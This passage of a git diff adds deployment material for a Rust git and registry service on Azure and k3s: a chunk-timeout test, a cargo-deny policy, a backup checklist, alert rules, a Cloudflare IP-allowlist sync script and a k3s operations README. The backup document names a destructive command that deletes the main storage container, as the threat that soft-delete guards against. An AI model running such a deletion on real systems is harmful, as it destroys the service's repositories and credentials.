self.inner.put_opts(p, payload, o).await + } + async fn put_multipart_opts( + &self, + p: &object_store::path::Path, + o: object_store::PutMultipartOptions, + ) -> object_store::Result> { + self.inner.put_multipart_opts(p, o).await + } + async fn get_opts( + &self, + p: &object_store::path::Path, + o: object_store::GetOptions, + ) -> object_store::Result { + use futures::StreamExt; + let r = self.inner.get_opts(p, o).await?; + let (meta, range, attributes, extensions) = + (r.meta.clone(), r.range.clone(), r.attributes.clone(), r.extensions.clone()); + let all = r.bytes().await?; + let chunks: Vec<_> = + (0..all.len()).step_by(self.chunk).map(|i| all.slice(i..(i + self.chunk).min(all.len()))).collect(); + let gap = self.gap; + let payload = object_store::GetResultPayload::Stream( + futures::stream::iter(chunks) + .then(move |c| async move { + tokio::time::sleep(gap).await; + Ok(c) + }) + .boxed(), + ); + Ok(object_store::GetResult { payload, meta, range, attributes, extensions }) + } + fn delete_stream( + &self, + locations: futures::stream::BoxStream<'static, object_store::Result>, + ) -> futures::stream::BoxStream<'static, object_store::Result> { + self.inner.delete_stream(locations) + } + fn list( + &self, + prefix: Option<&object_store::path::Path>, + ) -> futures::stream::BoxStream<'static, object_store::Result> { + self.inner.list(prefix) + } + async fn list_with_delimiter( + &self, + prefix: Option<&object_store::path::Path>, + ) -> object_store::Result { + self.inner.list_with_delimiter(prefix).await + } + async fn copy_opts( + &self, + from: &object_store::path::Path, + to: &object_store::path::Path, + o: object_store::CopyOptions, + ) -> object_store::Result<()> { + self.inner.copy_opts(from, to, o).await + } +} + +/// The audit's P-11: a layer whose body takes longer than `GET_TIMEOUT` end to end must still +/// arrive — the deadline is per chunk, so a slow link is merely slow. Only a link that goes SILENT +/// for that long is an error, and that error is transient (no `FETCH_FAILED` marker), unlike a +/// blob the store says is not there. On paused time the whole thing runs in milliseconds. +#[tokio::test(start_paused = true)] +async fn a_slow_body_is_read_per_chunk_and_only_a_silent_one_times_out() { + let inner = InMemory::new(); + let key = "layers/slow.zst"; + let payload = vec![7u8; 4096]; + blob::put_bytes(&inner, key, payload.clone()).await.unwrap(); + + // Four chunks, each arriving just inside the deadline: 4 × 100 s of wall time, well past the + // 120 s that used to bound the whole body. + let slow = SlowStore { inner, chunk: 1024, gap: blob::GET_TIMEOUT - std::time::Duration::from_secs(20) }; + assert_eq!(blob::get_bytes(&slow, key).await.unwrap(), payload); + + let stalled = + SlowStore { inner: InMemory::new(), chunk: 1024, gap: blob::GET_TIMEOUT + std::time::Duration::from_secs(1) }; + blob::put_bytes(&stalled.inner, key, payload).await.unwrap(); + let err = blob::get_bytes(&stalled, key).await.unwrap_err(); + assert!(err.contains("stalled"), "{err}"); + assert!(!err.contains(rustic_git_workspaces::engine::ops::FETCH_FAILED), "a stall is transient: {err}"); + + let err = blob::get_bytes(&InMemory::new(), "layers/absent.zst").await.unwrap_err(); + assert!(err.contains(rustic_git_workspaces::engine::ops::FETCH_FAILED), "a miss is permanent: {err}"); +} diff --git a/deny.toml b/deny.toml new file mode 100644 index 00000000..fcb13d9a --- /dev/null +++ b/deny.toml @@ -0,0 +1,66 @@ +# `rustsec/audit-check` in .github/workflows/image.yml already covers advisories. This file is +# for the three things it does not do: banned/duplicate crates, licence policy, and where code is +# allowed to come from — the checks worth having on a tree with this much crypto surface (JWT, +# ssh, pgp, registry auth). + +[advisories] +# A yanked crate is a decision someone upstream already made; inheriting it silently is not an +# option we want. +yanked = "deny" +# Unmaintained is a signal about crates we CHOSE, not about the graph underneath them. Scoped to +# the workspace's own dependencies, it is actionable; across every transitive crate it is noise +# that nobody can act on (bincode, paste and rustls-pemfile all arrive under redis and slatedb), +# and a check nobody can act on is a check that gets ignored wholesale. +unmaintained = "workspace" +ignore = [ + # Marvin timing sidechannel in `rsa`, with no fixed version published. Both `rsa` lines here + # are pulled by russh's ssh-key, not by us — see the root Cargo.toml `rand` comment for the + # same upstream pin. Nothing in this tree performs RSA private-key operations an attacker can + # time: `rsa` is reachable only for verifying client SSH keys and PGP signatures. + { id = "RUSTSEC-2023-0071", reason = "transitive via russh/ssh-key; no fix published; no attacker-timed private-key op here" }, +] + +[bans] +# Warn, not deny: the duplicates below are pinned by upstream crates, not by us. +multiple-versions = "warn" +# The `rand` and `rsa` lines the root Cargo.toml's `rand` comment explains — each is held by an +# upstream crate, so bumping ours alone would not collapse them. That comment is the record of +# when this list can shrink; delete entries here as it does. +skip = [ + { crate = "rand" }, + { crate = "rand_core" }, + { crate = "rand_chacha" }, + { crate = "rsa" }, +] + +[licenses] +# Permissive only. Anything not on this list fails the check rather than needing a reviewer to +# notice it — a copyleft dependency arriving transitively is exactly the case this catches. +allow = [ + "MIT", + "Apache-2.0", + "Apache-2.0 WITH LLVM-exception", + "BSD-2-Clause", + "BSD-3-Clause", + "ISC", + "Unicode-3.0", + "Zlib", + # Ours, not a dependency: every crate in this workspace is SSPL-1.0. `private.ignore` would be + # the narrower knob, but it only exempts crates marked `publish = false`, which these are not. + # The cost is that a third-party SSPL crate would also pass — none exists in the graph today, + # and `cargo deny list | grep SSPL` is the check if that ever needs confirming. + "SSPL-1.0", +] +exceptions = [ + # Public-domain dedication, permissive in every way that matters, but not an SPDX licence we + # want to accept blanket-wide. + { crate = "tiny-keccak", allow = ["CC0-1.0"] }, + # Mozilla's CA root bundle. CDLA-Permissive-2.0 licences the DATA, not code, and is permissive; + # it stays an exception rather than a blanket allow so the next CDLA crate gets looked at. + { crate = "webpki-roots", allow = ["CDLA-Permissive-2.0"] }, + { crate = "webpki-root-certs", allow = ["CDLA-Permissive-2.0"] }, +] + +[sources] +unknown-registry = "deny" +unknown-git = "deny" diff --git a/deploy/BACKUPS.md b/deploy/BACKUPS.md new file mode 100644 index 00000000..b752214b --- /dev/null +++ b/deploy/BACKUPS.md @@ -0,0 +1,142 @@ +# Backups: what is protected, what is not, and the switches that make it so + +Almost nothing here is a backup *job*. The product's data lives in Azure services whose own +retention features are the backup — and every one of them is off by default. This is the +checklist of which switches must be on, why, and what stays unprotected after all of them are. +Tick the boxes with the `az` output pasted underneath; a box without output is a claim. + +## The stores + +| Store | What is in it | Where | Copy count today | +| --- | --- | --- | --- | +| Blob container `rustic-git` (`RUSTIC_GIT_S3_URL: az://rustic-git`) | Every git repo, registry manifest and tag, PR row (SlateDB per repo/image/volume), credentials as plain keys, `index/` markers, registry blobs and manifests | storage account named in Secret `rustic-git-storage` | one (LRS unless changed) | +| Blob containers `wslayers`, `wslayers-k3s` (one per region) | Every pushed workspace/environment snapshot (btrfs send streams), content-addressed `blobs/{owner}/{algo}/{hex}` | one storage account per region; agent Secret `AZURE_*` | one per region | +| Cosmos DB, Mongo API (`rustic-git-mongo`) | Pull-request store used by the server tier | Cosmos account | Cosmos-managed periodic backup (default: 2 copies, 8 h interval, 8 h retention) | +| Cosmos DB, SQL/Core (`rustic-git-cosmos`, db `workspaces`) | `Region` metadata only — nothing else lives here any more; the CRD wins on any disagreement | Cosmos account | same default | +| k3s SQLite `state.db` on `k3s-cp` | The CRDs: every Workspace, Environment, Volume, OwnerBinding, SnapshotRequest — the record of what the subvolumes and snapshots ARE | one VM | hourly tarball to container `k3s-backup` (this repo's timer) | +| Blob container `k3s-backup` | 24 hourly + 7 daily slots of the above, fixed names that overwrite | same account as `rustic-git` | one | +| Redis | `events` stream, caches, generation counters | managed instance | **none, deliberately** — a nudge and a view, never the record (CLAUDE.md) | +| btrfs pools on the pool nodes | Live workspace subvolumes | node data disks | **none** — the pushed snapshot is the backup; unpushed work on a lost node is gone | + +## Checklist + +### 1. Blob soft-delete and versioning on the SlateDB account — [ ] + +Why both: SlateDB is log-structured. It rewrites its manifest and *deletes* old SSTs on +compaction, and the registry GC sweep and `DELETE /v2/.../blobs` delete for real. Soft-delete +keeps a deleted object recoverable; versioning keeps every overwritten manifest. Container +soft-delete is the guard against `az storage container delete rustic-git` with the key that +sits in six pod specs. + +```sh +ACCT= +az storage account blob-service-properties update --account-name "$ACCT" \ + --enable-delete-retention true --delete-retention-days 14 \ + --enable-container-delete-retention true --container-delete-retention-days 14 \ + --enable-versioning true +az storage account blob-service-properties show --account-name "$ACCT" \ + --query '{del:deleteRetentionPolicy,cont:containerDeleteRetentionPolicy,ver:isVersioningEnabled}' +``` + +Paste the `show` output here: + +``` +(pending) +``` + +Cost note: versioning on a SlateDB container keeps every compacted SST for 14 days. Expect the +container to grow by roughly one compaction's worth per day; watch it for a week before trusting +the number. Versions older than the window are removed only by a lifecycle rule: + +```sh +az storage account management-policy create --account-name "$ACCT" --policy '{"rules":[{"name":"expire-versions","enabled":true,"type":"Lifecycle","definition":{"filters":{"blobTypes":["blockBlob"]},"actions":{"version":{"delete":{"daysAfterCreationGreaterThan":14}}}}}]}' +``` + +### 2. The same on every `wslayers*` account — [ ] + +Snapshot blobs are content-addressed and never overwritten, so versioning buys nothing there; +soft-delete (blob + container, 14 d) is what matters. Same commands as above per region account +minus `--enable-versioning`. One box per region: + +- [ ] `centralindia-vm` account: `(pending)` +- [ ] k3s region account (`wslayers-k3s`): `(pending)` + +### 3. Cosmos continuous backup — [ ] + +The default periodic policy keeps 8 hours. Continuous (7-day tier) gives point-in-time restore +to any second in the last week, which is the only way back from a bad write to the PR store. +It is a one-way migration per account and cannot be turned off. + +```sh +for A in rustic-git-mongo rustic-git-cosmos; do + az cosmosdb update -g -n "$A" --backup-policy-type Continuous --continuous-tier Continuous7Days + az cosmosdb show -g -n "$A" --query 'backupPolicy' +done +``` + +`rustic-git-cosmos` holds only `Region` rows (a handful, rebuilt by hand in minutes via +`/v1/regions`); it is on this list for uniformity, not necessity. Paste output: + +``` +(pending) +``` + +### 4. Redundancy — [ ] + +All of the above are recoveries *within* one region. `az storage account show --query sku` +reports the replication. `Standard_LRS` means one datacentre; a regional loss is a total loss. +Decide and record: `(pending — LRS/ZRS/GRS)`. Changing it is `az storage account update --sku`, +online, and the only cost is the price. + +### 5. The k3s control plane — [ ] + +`deploy/k3s/backup-controlplane.timer` (install steps in `deploy/k3s/README.md`). Verify: + +```sh +ssh azureuser@ 'systemctl list-timers backup-controlplane.timer; systemctl status backup-controlplane.service --no-pager | head -5' +az storage blob list --account-name "$ACCT" -c k3s-backup --query '[].{n:name,t:properties.lastModified}' -o table +``` + +The newest `hourly-*` blob must be under 2 hours old. Blob versioning on the `k3s-backup` +container (checklist 1 covers it — same account) is what turns the 24+7 fixed slots into a +history longer than a week, and what saves the good backup a bad one overwrote. + +### 6. The snitch — [ ] + +`SNITCH_URL=` in `/etc/rustic-git/k3s-backup.env` on `k3s-cp`, pointing at a healthchecks.io-style +monitor with a 1 h period and a grace of 30 min. This is the only alert on the whole page: every +other row is a *retention setting*, which fails silently by definition. Monitor URL recorded +where: `(pending)`. + +## A restore drill, once + +Before trusting any of this, restore one thing of each kind and write the date here. + +- Blob: `az storage blob undelete` on a soft-deleted object under `rustic-git/`; read it back. +- Version: `az storage blob copy start --source-blob X --source-blob-version-id `. +- Cosmos: `az cosmosdb sql database restore` to a new account (Mongo: `mongodb database restore`) + at a timestamp 10 minutes ago; count documents. +- k3s: the procedure in the trailing comment of `deploy/k3s/backup-controlplane.sh`, onto a + scratch VM — the `-wal`/`-shm` removal is the step that bites. + +Last drill: `(never)`. + +## What is NOT backed up, and why that is or is not acceptable + +- **Unpushed workspace state.** The btrfs subvolume on a pool node has one copy. A node loss + loses whatever was not `push`ed. Acceptable by design: push is cheap and the product says so; + a scheduled auto-push would be the fix if that changes. +- **Redis.** Nothing in it is the record (the worker beats and the feed's `pulls_across` + fallback are verified to work with Redis down). Loss = a slower minute. +- **SlateDB point-in-time consistency.** Blob versioning restores *objects*, not a *database*: + a consistent SlateDB restore needs the manifest and every SST it references at one instant. + Recovering one repo means finding its manifest version at time T and undeleting the SSTs it + names — doable by hand, unpractised, and slow. There is no tested procedure; the drill above + restores an object, not a repo. +- **Secrets.** The ten `rustic-git-*` Secrets on AKS and `rustic-git-agent` on k3s are created + by hand and exist nowhere else (the k3s backup's `identity.tgz` covers the cluster CA and join + token, not these). A from-scratch rebuild re-mints them; the values that cannot be re-minted + (the storage account key, Cosmos keys) are recoverable from the Azure portal. Keep it that way + rather than adding a backup that is itself a secret store. +- **Cross-region.** Every mechanism here is single-region. A region loss is a rebuild from the + other region's `wslayers` plus whatever GRS was enabled in step 4. diff --git a/deploy/README.md b/deploy/README.md new file mode 100644 index 00000000..d8144666 --- /dev/null +++ b/deploy/README.md @@ -0,0 +1,13 @@ +# Deploy notes + +## Incomplete multipart uploads + +The registry's chunked blob uploads (`crates/registry/src/uploads.rs`) stream parts into a +multipart upload and abort it on every path we control: a cancelled session, a refused chunk, and +the GC worker's sweep of an abandoned session. Two paths are out of our hands — a crash between +the part upload and the sidecar write, and `WriteMultipart::finish` failing mid-part — and those +leave parts in the bucket that no object ever references. The bucket needs its own rule for them: + +- S3: a lifecycle rule with `AbortIncompleteMultipartUpload` at 1 day (longer than + `RUSTIC_GIT_UPLOAD_GRACE_SECS`, default 24 h, so the rule never races a live session). +- Azure Blob: uncommitted blocks expire after 7 days on their own; nothing to configure. diff --git a/deploy/alerts.md b/deploy/alerts.md new file mode 100644 index 00000000..1c83471a --- /dev/null +++ b/deploy/alerts.md @@ -0,0 +1,27 @@ +# Alerts + +Every pod is annotated `prometheus.io/scrape` (no Operator assumed); the server tier serves +`/metrics` on the peer port (8081), every other binary on `RUSTIC_GIT_METRICS_ADDR` (9464). +Structured logs: `RUSTIC_GIT_LOG_FORMAT=json` on any pod. Node/disk signals come from +node-exporter, which is not deployed by this repo — install it before the last two rules fire. + +Metric names below are the ones the binaries emit; `deploy/rustic-git.yaml` sets no `job` labels, +so select by `pod`/`container` from the kubernetes-pods scrape config. + +| Alert | PromQL (for 5m unless noted) | Why | +|---|---|---| +| **LeaderUnreachable** | `absent(up{pod="rustic-git-leader-0"} == 1)` for 2m | No leader means no claims: every repo move stalls and 421s pile up on followers. | +| **LeaseRenewFailing** | `sum by (pod) (rate(ownership_renew_failures_total[5m])) > 0` for 3m | A node that cannot renew loses its leases at the TTL; another node claims, and its warm databases must close. | +| **DbFenceDetected** | `increase(db_fence_detected_total[10m]) > 0` | The invariant violation: two nodes opened one SlateDB. Zero is the only acceptable value. | +| **Http5xxRate** | `sum by (listener, class) (rate(http_requests_total{status="5xx"}[5m])) / sum by (listener, class) (rate(http_requests_total[5m])) > 0.05` | Per listener and route class so a registry outage is not hidden by healthy git traffic. | +| **MisdirectedWrites** | `sum(rate(http_requests_total{status="421"}[5m])) > 0.1` for 10m | 421s during a roll are expected; sustained ones mean the pods disagree about `RUSTIC_GIT_LEADER`. | +| **ReconcileErrors** | `sum by (kind) (rate(reconciles_total{result="error"}[10m])) / sum by (kind) (rate(reconciles_total[10m])) > 0.2` | A controller in an error loop keeps retrying with backoff; the ratio is what shows it. | +| **TunnelSaturation** | `max by (pod) (gateway_open_tunnels) > 800` | `MAX_TUNNELS` is 1000 per gateway pod; refusals start with 503 past it. | +| **WorkerHeartbeatStale** | `absent(up{container="worker"} == 1)` for 5m, plus `increase(kube_pod_container_status_restarts_total{container="worker"}[1h]) > 3` | The liveness probe only restarts; this pages when it keeps happening. Merge starvation itself: `increase(merge_outcomes_total[30m]) == 0 and increase(git_pack_requests_total{op="receive"}[30m]) > 0` is the softer signal. | +| **PoolAlmostFull** | `(node_filesystem_avail_bytes{mountpoint="/wspool-prod"} / node_filesystem_size_bytes{mountpoint="/wspool-prod"}) < 0.2` | btrfs past 80% starts failing allocations before `df` says full. Node-exporter. | +| **NodeDiskAlmostFull** | `(node_filesystem_avail_bytes{mountpoint="/"} / node_filesystem_size_bytes{mountpoint="/"}) < 0.15` | The worker's merge caches and the slatedb object cache live on the root disk. Node-exporter. | + +Useful dashboards, not alerts: `ownership_map_size` (set on each leader sweep), +`ownership_claims_total{result="moved"}` against `db_fence_detected_total`, +`rate(git_pack_bytes_in_total[5m])` and `rate(registry_blob_bytes_{in,out}_total[5m])`, +`histogram_quantile(0.95, sum by (le, class) (rate(http_request_duration_seconds_bucket[5m])))`. diff --git a/deploy/cf-sync.sh b/deploy/cf-sync.sh new file mode 100755 index 00000000..1e983188 --- /dev/null +++ b/deploy/cf-sync.sh @@ -0,0 +1,91 @@ +#!/usr/bin/env bash +# Keep every copy of Cloudflare's v4 edge ranges in this repo equal to the published list. +# +# WHY: the ranges are the origin lock. Three files carry them — `deploy/k3s/cloudflare-ips-v4.txt` +# (the source; `harden-node.sh` and the pool NSG rule are fed from it), the ingress-nginx Service +# (`loadBalancerSourceRanges`, the Azure LB's own admission) and the ingress-nginx ConfigMap +# (`proxy-real-ip-cidr`, which decides whose `CF-Connecting-IP` is believed). Hand-copying let +# them drift independently; this renders the last two FROM the first and exits non-zero when any +# of the three changed, so a CI run or an operator sees the drift instead of discovering it as a +# blocked edge. It never applies anything — the diff is the output. +# +# Usage: deploy/cf-sync.sh fetch https://www.cloudflare.com/ips-v4, rewrite, diff +# deploy/cf-sync.sh --no-fetch render from the committed txt only (offline) +set -euo pipefail +cd "$(dirname "${BASH_SOURCE[0]}")/.." + +LIST=deploy/k3s/cloudflare-ips-v4.txt +SVC=deploy/ingress-nginx-service.yaml +CM=deploy/ingress-nginx-config.yaml + +if [ "${1:-}" != "--no-fetch" ]; then + fetched=$(curl -sSf --max-time 20 https://www.cloudflare.com/ips-v4) + # Only exact CIDRs, and not a short list. An empty or truncated response written through to the + # Service would be an EMPTY `loadBalancerSourceRanges`, which Kubernetes reads as "everyone" — + # the one failure mode that opens the origin rather than closing it. + if ! printf '%s\n' "$fetched" | grep -qvE '^[0-9]{1,3}(\.[0-9]{1,3}){3}/[0-9]{1,2}$' \ + && [ "$(printf '%s\n' "$fetched" | wc -l)" -ge 10 ]; then + printf '%s\n' "$fetched" > "$LIST" + else + echo "cf-sync: refusing to use an implausible ips-v4 response:" >&2 + printf '%s\n' "$fetched" >&2 + exit 2 + fi +fi + +# Not `mapfile`: a stock macOS bash is 3.2 and this runs on laptops too. +cidrs=() +while IFS= read -r c; do [ -n "$c" ] && cidrs+=("$c"); done < "$LIST" +[ "${#cidrs[@]}" -ge 10 ] || { echo "cf-sync: $LIST has ${#cidrs[@]} entries, expected Cloudflare's full list" >&2; exit 2; } + +{ + cat <<'EOF' +# GENERATED by deploy/cf-sync.sh from deploy/k3s/cloudflare-ips-v4.txt — do not hand-edit. +# +# The Cloudflare origin lock. Both HTTP hostnames are Cloudflare-proxied, so the ingress +# LoadBalancer must admit 80/443 from Cloudflare's edge only; the cloud controller turns this list +# into the NSG rule on the LB. Without it, anyone can skip the edge and hit the origin directly: +# the WAF and rate limits are bypassed and `CF-Connecting-IP`/`X-Real-IP` become attacker-chosen — +# which is exactly what the registry `limit-whitelist` and `RUSTIC_GIT_AGENT_SOURCES` trust. +# +# This is a partial object on a Helm-managed Service, so it is applied server-side: +# kubectl apply --server-side --force-conflicts -f deploy/ingress-nginx-service.yaml +# A Helm upgrade or reinstall of ingress-nginx drops the field; re-apply after either. Verify: +# kubectl -n ingress-nginx get svc ingress-nginx-controller -o jsonpath='{.spec.loadBalancerSourceRanges}' +# must be non-empty and equal to the list below. An EMPTY list means admit everyone. +# +# v4 only: the LB frontend is IPv4, so Cloudflare's v6 edges never reach it; add +# https://www.cloudflare.com/ips-v6 here the day it grows a v6 frontend. The git SSH LoadBalancer +# (`git.khost.dev`, not proxied) is a different Service and is untouched. +apiVersion: v1 +kind: Service +metadata: + name: ingress-nginx-controller + namespace: ingress-nginx +spec: + loadBalancerSourceRanges: +EOF + for c in "${cidrs[@]}"; do echo " - $c"; done +} > "$SVC" + +joined=$(IFS=,; echo "${cidrs[*]}") +sed -i.bak "s|^ proxy-real-ip-cidr: .*| proxy-real-ip-cidr: \"$joined\"|" "$CM" && rm -f "$CM.bak" +grep -q "proxy-real-ip-cidr: \"$joined\"" "$CM" || { echo "cf-sync: could not find the proxy-real-ip-cidr line in $CM" >&2; exit 2; } + +# `git status`, not `git diff`: a freshly rendered manifest that is not yet tracked is drift too. +if [ -z "$(git status --porcelain -- "$LIST" "$SVC" "$CM")" ]; then + echo "cf-sync: in sync (${#cidrs[@]} ranges)" +else + git --no-pager status --short -- "$LIST" "$SVC" "$CM" + git --no-pager diff HEAD -- "$LIST" "$SVC" "$CM" + cat >&2 </` must time out. + +When Cloudflare's ranges change, `.github/workflows/cf-sync.yml` goes red (weekly check). Then: +`deploy/cf-sync.sh`, commit what it rewrote, re-apply the Service and the ConfigMap, and follow +the script's printed steps for the two copies outside git (the pool NSG rule and `harden-node.sh`). +The git SSH LoadBalancer (`git.khost.dev`, not proxied) is a different Service and is untouched. diff --git a/deploy/ingress-nginx-service.yaml b/deploy/ingress-nginx-service.yaml new file mode 100644 index 00000000..756c7763 --- /dev/null +++ b/deploy/ingress-nginx-service.yaml @@ -0,0 +1,39 @@ +# GENERATED by deploy/cf-sync.sh from deploy/k3s/cloudflare-ips-v4.txt — do not hand-edit. +# +# The Cloudflare origin lock. Both HTTP hostnames are Cloudflare-proxied, so the ingress +# LoadBalancer must admit 80/443 from Cloudflare's edge only; the cloud controller turns this list +# into the NSG rule on the LB. Without it, anyone can skip the edge and hit the origin directly: +# the WAF and rate limits are bypassed and `CF-Connecting-IP`/`X-Real-IP` become attacker-chosen — +# which is exactly what the registry `limit-whitelist` and `RUSTIC_GIT_AGENT_SOURCES` trust. +# +# This is a partial object on a Helm-managed Service, so it is applied server-side: +# kubectl apply --server-side --force-conflicts -f deploy/ingress-nginx-service.yaml +# A Helm upgrade or reinstall of ingress-nginx drops the field; re-apply after either. Verify: +# kubectl -n ingress-nginx get svc ingress-nginx-controller -o jsonpath='{.spec.loadBalancerSourceRanges}' +# must be non-empty and equal to the list below. An EMPTY list means admit everyone. +# +# v4 only: the LB frontend is IPv4, so Cloudflare's v6 edges never reach it; add +# https://www.cloudflare.com/ips-v6 here the day it grows a v6 frontend. The git SSH LoadBalancer +# (`git.khost.dev`, not proxied) is a different Service and is untouched. +apiVersion: v1 +kind: Service +metadata: + name: ingress-nginx-controller + namespace: ingress-nginx +spec: + loadBalancerSourceRanges: + - 173.245.48.0/20 + - 103.21.244.0/22 + - 103.22.200.0/22 + - 103.31.4.0/22 + - 141.101.64.0/18 + - 108.162.192.0/18 + - 190.93.240.0/20 + - 188.114.96.0/20 + - 197.234.240.0/22 + - 198.41.128.0/17 + - 162.158.0.0/15 + - 104.16.0.0/13 + - 104.24.0.0/14 + - 172.64.0.0/13 + - 131.0.72.0/22 diff --git a/deploy/k3s/README.md b/deploy/k3s/README.md new file mode 100644 index 00000000..e5a52ff3 --- /dev/null +++ b/deploy/k3s/README.md @@ -0,0 +1,200 @@ +# The k3s workload cluster + +Workspaces and environments run here. The git/registry server tier does not — it stays on its own +cluster and this one reaches it over HTTP. + +Files, in the order a cluster is built: + +| File | What it does | +| --- | --- | +| `env.example.sh` | Copy to `env.sh` (git-ignored) and edit. Sizes, names, operator CIDR. | +| `provision-azure.sh` | VNet, NSG, control plane, workers, build VM. Idempotent — re-run after a partial failure. | +| `format-pool.sh` | Run on each worker with the data disk as argument. btrfs at `/wspool-prod`. | +| `crds.yaml` | **Generated** — do not hand-edit. `CRD_REGEN=1 cargo test -p rustic-git-workspaces --test crd_yaml`. | +| `storageclass.yaml` | The class every workspace volume binds through. | +| `agent-rbac.yaml` | ServiceAccount + ClusterRole for the node controller. The header table is the role: one row per call the agent makes. | +| `agent-admission.yaml` | The ValidatingAdmissionPolicy that makes the role true — refuses the agent any spec write but `Volume.spec.restoreTo`, and pins its Secrets/RoleBindings/Namespaces to `ws-*`/`env-*`. Apply with `agent-rbac.yaml`, always. | +| `agent-daemonset.yaml` | The node controller itself, one pod per pooled node. | +| `harden-node.sh` | Node firewall (drop-by-default on the public NIC), unattended upgrades, keys-only sshd. Idempotent; run on every node after provisioning and after changing the operator CIDR, and again with `CF_CIDRS` set once the gateway is live. Streamed over `ssh … sudo bash -s < harden-node.sh`, so `CF_CIDRS` must be passed as an env var on the remote command, not read from a local file — see the Gateway section below. | +| `cloudflare-ips-v4.txt` | Cloudflare's published v4 edge ranges, one CIDR per line — the one source. Build `CF_CIDRS` from it locally (`paste -sd, cloudflare-ips-v4.txt`) before running `harden-node.sh`. Refreshed by `../cf-sync.sh`, which also renders the AKS-side copies (`../ingress-nginx-service.yaml`, `../ingress-nginx-config.yaml`) and is run weekly by CI; never edit by hand. A stale list fails safe (the new edge is just refused, never wrongly trusted). | +| `gateway.yaml` | The workspace SSH gateway: one pod per pool node on the node's own `hostPort: 80`, behind the Cloudflare proxy (TLS ends at the edge). | +| `rotate-agent-token.sh` | Mint a new region agent token at the api and install it in the DaemonSet in one step. | +| `nix-conf.yaml` | ConfigMap: the host Nix daemon's substituters, keys and GC headroom. | +| `backup-controlplane.sh` | Hourly backup of the SQLite datastore, the cluster identity and a YAML dump of every CRD object to Azure Blob. Restore procedure is in the script's trailing comment. | +| `backup-controlplane.{service,timer}` | The systemd units that make "hourly" true — see "Control-plane backup" below. | + +The controller's image is built from the repo-root `Dockerfile` (`agent` target) by +`.github/workflows/image.yml` — both images come out of one compile. + + +## Iterating + +CI is the wrong loop for iteration: it starts from a cold Actions cache and builds with the +production profile. `dev-push.sh` builds on the build VM instead, with the `dev-image` profile (no +LTO, 16 codegen units) against a warm cargo target, and rolls the DaemonSet: + +```sh +BUILD_HOST=azureuser@ ./dev-push.sh +``` + +Measured on this repo: **1m57s incremental**, against ~8 minutes through CI. Images are tagged +`dev-{short-sha}` (plus `-dirty` for uncommitted work) so one can never be mistaken for a CI +artifact. Deploy manifests still pin CI's SHA tags. + +## Applying + +```sh +kubectl apply -f crds.yaml -f storageclass.yaml -f agent-rbac.yaml -f agent-admission.yaml -f nix-conf.yaml -f agent-daemonset.yaml -f gateway.yaml +``` + +Nodes need labels before the DaemonSet will schedule and before placement will pick them: + +```sh +kubectl label node rustic-git.io/pool=true # has a btrfs pool: run the controller here +kubectl label node rustic-git.io/session=true # may host workspaces +kubectl label node rustic-git.io/env=true # may host environments +``` + +One key per role, not `role=session`, because a label key holds one value and a small cluster needs +one node to be both. + +## Control-plane backup + +The CRDs are one SQLite file on one VM. `backup-controlplane.sh` copies it (plus the cluster +identity and a `kubectl get … -o yaml` of every object) to the `k3s-backup` container every hour, +but only once the timer is installed — this is the step that was missing. Once, on `k3s-cp`: + +```sh +# 1. A SAS on container k3s-backup with create+write only (no list/delete: the script rotates by +# overwriting fixed names, so a leaked SAS cannot read or destroy history), and a healthchecks-style +# monitor URL with a 1 h period. Both by hand on the node: +ssh azureuser@ 'sudo install -d -m700 /etc/rustic-git \ + && sudo sh -c "umask 077; cat > /etc/rustic-git/k3s-backup.sas" \ + && sudo sh -c "echo SNITCH_URL=https://hc-ping.com/ > /etc/rustic-git/k3s-backup.env"' +# 2. Script and units. +scp deploy/k3s/backup-controlplane.{sh,service,timer} azureuser@:/tmp/ +ssh azureuser@ 'sudo install -m755 /tmp/backup-controlplane.sh /usr/local/bin/ \ + && sudo install -m644 /tmp/backup-controlplane.service /tmp/backup-controlplane.timer /etc/systemd/system/ \ + && sudo systemctl daemon-reload && sudo systemctl enable --now backup-controlplane.timer \ + && sudo systemctl start backup-controlplane.service && sudo systemctl status backup-controlplane.service --no-pager' +``` + +Reading it: `systemctl list-timers backup-controlplane.timer` shows the next and last run; +`journalctl -u backup-controlplane` the "backed up N bytes" lines; and +`az storage blob list -c k3s-backup --query '[].{n:name,t:properties.lastModified}' -o table` +the truth — the newest `hourly-*` must be under two hours old. The snitch is the alert: it pages +when the hourly ping is *missing*, which is the failure a timer produces (a node off, a unit +disabled by an upgrade), and gets `/fail` when the run itself fails. The unit fails — and says why +in the journal — if the API server was down for the CRD dump, even though `state.db` still went +up. The account defaults to `rusticgitkolomi`; override `ACCOUNT`/`CONTAINER` in the `.env` file. +Retention, what it does and does not cover, and the Azure-side switches for everything else are in +`deploy/BACKUPS.md`. + +## Release 1: controller ownership + +The 2026-08-27 change: the API writes ONE unplaced object, the agents claim it through +`status.nodeName`, and the Volume becomes a child of its Workspace. The CRDs and the agent move +together — the old agent's watch 4xx's between them — so steps 2–4 are one operation, not a +change with a soak in the middle. The k3s side uses `KUBECONFIG=.local/k3s.yaml`; the API tier +lives on AKS in the `rustic-git` namespace, on the default context. + +```sh +# 1. The stuck pre-migration workspace. It predates status.nodeName and no controller can converge +# it; deleting it before the roll keeps it out of the migration's logs. +KUBECONFIG=.local/k3s.yaml kubectl delete workspace ws-16980a570dd6eecd + +# 2. CRDs first, or the agent's placement watch (a field selector on .status.nodeName) is refused +# and the agent comes up converging nothing while reporting healthy. Already applied on dev. +KUBECONFIG=.local/k3s.yaml kubectl apply -f deploy/k3s/crds.yaml + +# 3. RBAC. Already applied on dev; harmless to re-apply. +KUBECONFIG=.local/k3s.yaml kubectl apply -f deploy/k3s/agent-rbac.yaml -f deploy/k3s/agent-admission.yaml -f deploy/k3s/api-rbac.yaml + +# 4. The agent, immediately after the CRDs — same operation. Repin the image tag to the SHA CI +# built first (image.yml), then apply and wait for the DaemonSet to finish. +KUBECONFIG=.local/k3s.yaml kubectl apply -f deploy/k3s/nix-conf.yaml -f deploy/k3s/agent-daemonset.yaml +KUBECONFIG=.local/k3s.yaml kubectl rollout status ds/rustic-git-agent -n kube-system + +# 5. Watch the startup migration adopt the existing objects. Every line it writes is prefixed +# `migration:`; every workspace must end with a node in STATUS, not only in spec. +KUBECONFIG=.local/k3s.yaml kubectl logs -n kube-system -l app=rustic-git-agent --tail=200 \ + | grep migration: +KUBECONFIG=.local/k3s.yaml kubectl get workspaces \ + -o custom-columns=NAME:.metadata.name,SPEC:.spec.nodeName,STATUS:.status.nodeName,VOL:.status.volumeRef + +# 6. Only then the API tier, on AKS (deploy/rustic-git.yaml, pinned to CI's SHA). +kubectl apply -f 